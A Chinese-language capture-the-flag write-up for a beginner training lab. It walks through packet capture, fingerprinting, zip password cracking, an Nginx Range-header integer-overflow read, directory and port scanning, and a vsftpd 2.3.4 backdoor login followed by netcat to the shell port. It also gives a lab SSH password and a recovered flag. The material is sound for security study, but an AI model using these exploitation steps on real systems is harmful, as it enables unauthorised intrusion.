文章目录
- 1、Burp抓包
- 2、指纹识别
- 3、压缩包解密
- 4、Nginx整数溢出漏洞
- 5、PHP代码基础
- 6、linux基础命令
- 7、Mysql数据库基础
- 8、目录扫描
- 9、端口扫描
- 10、docker容器基础
- 11、文件类型
1、Burp抓包
抓取http://47.100.220.113:8007/
的返回包,可以拿到包含flag的txt文件。
访问http://47.100.220.113:8007/27726623fabee80870ab072b70178308.txt
,获取flag。
2、指纹识别
使用whatweb
进行指纹识别,命令whatweb http://47.100.220.113:8109/
,获取flag。
whatweb -v http://47.100.220.113:8109/
,-v
查看详细信息
3、压缩包解密
下载提供的flag.zip和wordlist.txt,使用fcrackzip
工具破解zip密码,命令:
fcrackzip -D -p Wordlist.txt -u flag.zip
# -D:代表使用字典
# -p:指定字典
# -u:只显示破解出来的密码,其他错误的密码不显示出
4、Nginx整数溢出漏洞
Nginx整数溢出漏洞的影响版本:Nginx 0.5.6 – 1.13.2
注意两个响应头:
X-Proxy-Cache: HIT # 表示命中
X-Proxy-Cache: MISS # 表示未命中
漏洞利用:
range1= 17208 # 请求demo.png,返回包大小为16585,要想向前读取数据,差值最好保持在600
range2= 0×8000000000000000-17208=9,223,372,036,854,767,331
Range: -range1,-range2 # 使用负数
5、PHP代码基础
直接使用system
函数执行系统命令
6、linux基础命令
ssh远程连接命令:
ssh <usrname>@<ip> -p <port>
ssh test@47.100.220.113 -p 2233
find
命令查询文件:
find / -name "*flag*" -type f 2>/dev/null # 在/目录下寻找文件名为*flag*的文件,不显示报错信息
flag{82782fd75008071871ad76e3a8b8794d}
九阴真经上卷找不到,似乎被删了,只有下卷。
7、Mysql数据库基础
手工ssh隧道转发
ssh -g -f -N -L 8888:mysql:3306 test@47.100.220.113 -p 2244 # 密码为:whalwl@wuhan
# -g:此选项允许远程主机连接到本地端口转发的绑定地址上。
# -f:此选项让 SSH 在后台运行,即以守护进程模式执行。这样可以在启动 SSH 连接后立即返回到命令提示符,而不会阻塞终端。
# -N:此选项指示 SSH 不要执行任何远程命令。通常,SSH 会尝试登录到远程主机并执行指定的命令,但在此情况下,我们只需要创建端口转发而不需要远程执行命令。
# -L 8888:mysql:3306:这是端口转发的设置部分。-L 后面的参数指定了本地端口、目标主机和目标端口的对应关系。
# 在本地主机上创建一个 SSH 连接,并将本地的 8888 端口转发到远程的 MySQL 服务器的 3306 端口。
mysql -h127.0.0.1 -P8888 -utest -ptest
flag在whalwl数据库中。
Navicat连接
8、目录扫描
命令:
python dirsearch.py -u http://47.100.220.113:8008/ -w dicc.txt -e php -t 1 -m head
# -u:指定域名
# -w:指定字典
# -e:指定扫描的文件拓展名
# -t:设置线程
# -m:设置请求方式,head请求只返回响应头,没有返回内容
看wp是由web.zip文件的,但是这里没有,所以搞不定了。
9、端口扫描
使用nmap进行端口扫描:
nmap -p 10021 -sV 47.100.220.113
# -p:指定端口
# -sV:探测服务版本
vsftpd 2.3.4存在一个经典的笑脸漏洞~
笑脸漏洞原理:在vsftpd 2.3.4版本中,在登录输入用户名时输入:)
类似于笑脸的符号,会导致服务处理开启6200
后门端口,直接执行系统命令。注意:10021端口上ftp的后门端口为16200。
ftp 47.100.220.113 -P 10021 # ftp连接
kali:) # 用户名
kali # 密码
nc 47.100.220.113 16200
10、docker容器基础
docker pull registry.cn-shanghai.aliyuncs.com/whalwl/docker_test # 拉取镜像
docker run -it registry.cn-shanghai.aliyuncs.com/whalwl/docker_test /bin/bash # 创建容器,并进入容器,退出会自动停止容器
find / -name "*fla*" -type f 2>/dev/null # 查找flag文件
cat /root/this_is_flag
11、文件类型
下载给的文件后进行解压
tar -zxvf flag.tar.gz # 解压出flag文件
file flag # 识别file文件类型
unzip flag # 解压,会得到五个flag文件
file flag-1 # 为JPEG图片文件,直接打开
file flag-2 # 为exe文件,linux下不能运行exe文件,需要放到windows下运行
# 注意改名为flag-2.exe
file flag-3 # 为ELF文件,linux下能直接运行
./flag-3
file flag-4 # 为PE32可执行文件,linux下不能直接运行,添加.exe的后缀放到windows下运行
添加完后,根据icon,可以看出这是一个python打包成的exe程序。python解包
file flag-4 # 为PE32可执行文件,linux下不能直接运行,添加.exe的后缀放到windows下运行
python pyinstxtractor.py flag-4.exe # 解包
file flag-5 # 为JAR文件,直接用zip解压
unzip flag-5
使用jd-gui
对class文件反编译